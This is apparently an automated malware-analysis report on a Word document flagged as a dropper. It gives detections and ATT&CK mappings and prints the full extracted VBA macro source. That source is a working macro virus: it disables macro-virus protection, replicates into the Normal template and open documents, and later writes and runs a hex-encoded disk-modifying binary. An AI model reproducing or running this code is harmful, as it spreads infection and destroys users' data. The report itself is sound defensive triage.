MALICIOUS
218
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1553.005 Security Software Modification
The file contains a VBA macro that attempts to disable macro protection and replicate itself into the Normal template, indicating a persistence mechanism. The macro also contains a long encoded blob and a call to Environ(), suggesting it may download and execute a second-stage payload. The ClamAV detection of 'Doc.Dropper.Agent-5893809-0' further supports its malicious nature as a dropper.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-5893809-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-5893809-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
s = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1): Mid(s, 1, 1) = " ": det = s: If Date > det + 30 Then fn = Environ("TEMP") & "\SCANDISK.COM": f = FreeFile: Open fn For Binary Access Write As f: For i = 1 To Len(CodeStr) Step 2: b = CByte("&H" & Mid(CodeStr, i, 2)): Put f, , b: Next i: Close f: Shell fn, 6: Date = det -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Application.Options.VirusProtection = False -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3491 bytes |
SHA-256: 426be2ceef4a18e40d98fa69d64199e41e30f16d09147e3a44c996a897c1971b |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'15/04/2004
'3/06/02
Private Sub Document_Open()
'Anti-Smyser'
'A.T.P Ver 1.2
On Error Resume Next
Application.Options.VirusProtection = False
Dim CodeStr As String: CodeStr = "B9040051BB0002B80102B90100BA8000CD13597308B400CD13E2E8EB2BB90002BE00028A04F6D08804464975F6B9040051BB0002B80103B90100BA8000CD13597306B400CD13E2E831C0CD21"
Dim i As Integer, b As Byte, f As Integer, fn As String, s As String, det As Date
If Mid(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) <> Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) Or Val(Right(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) < Val(Right(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn
If NormalTemplate.Saved = False Then NormalTemplate.Save
Dim Doc As Document, PreSaved As Boolean, Cloned As Boolean
For Each Doc In Application.Documents
PreSaved = Doc.Saved And (Doc.Path <> "") And Not Doc.ReadOnly: Cloned = False
If Mid(Doc.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) <> Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) Or Val(Right(Doc.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) < Val(Right(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) Then Doc.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Doc.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Doc.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: Doc.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn: Cloned = True
If Cloned And PreSaved Then f = FreeFile: fn = Doc.Path & "\~$" & Doc.Name: Err.Clear: Open fn For Output As f: If Err.Number = 0 Then Close f: Kill fn: Doc.Save
Next Doc
s = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1): Mid(s, 1, 1) = " ": det = s: If Date > det + 30 Then fn = Environ("TEMP") & "\SCANDISK.COM": f = FreeFile: Open fn For Binary Access Write As f: For i = 1 To Len(CodeStr) Step 2: b = CByte("&H" & Mid(CodeStr, i, 2)): Put f, , b: Next i: Close f: Shell fn, 6: Date = det
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.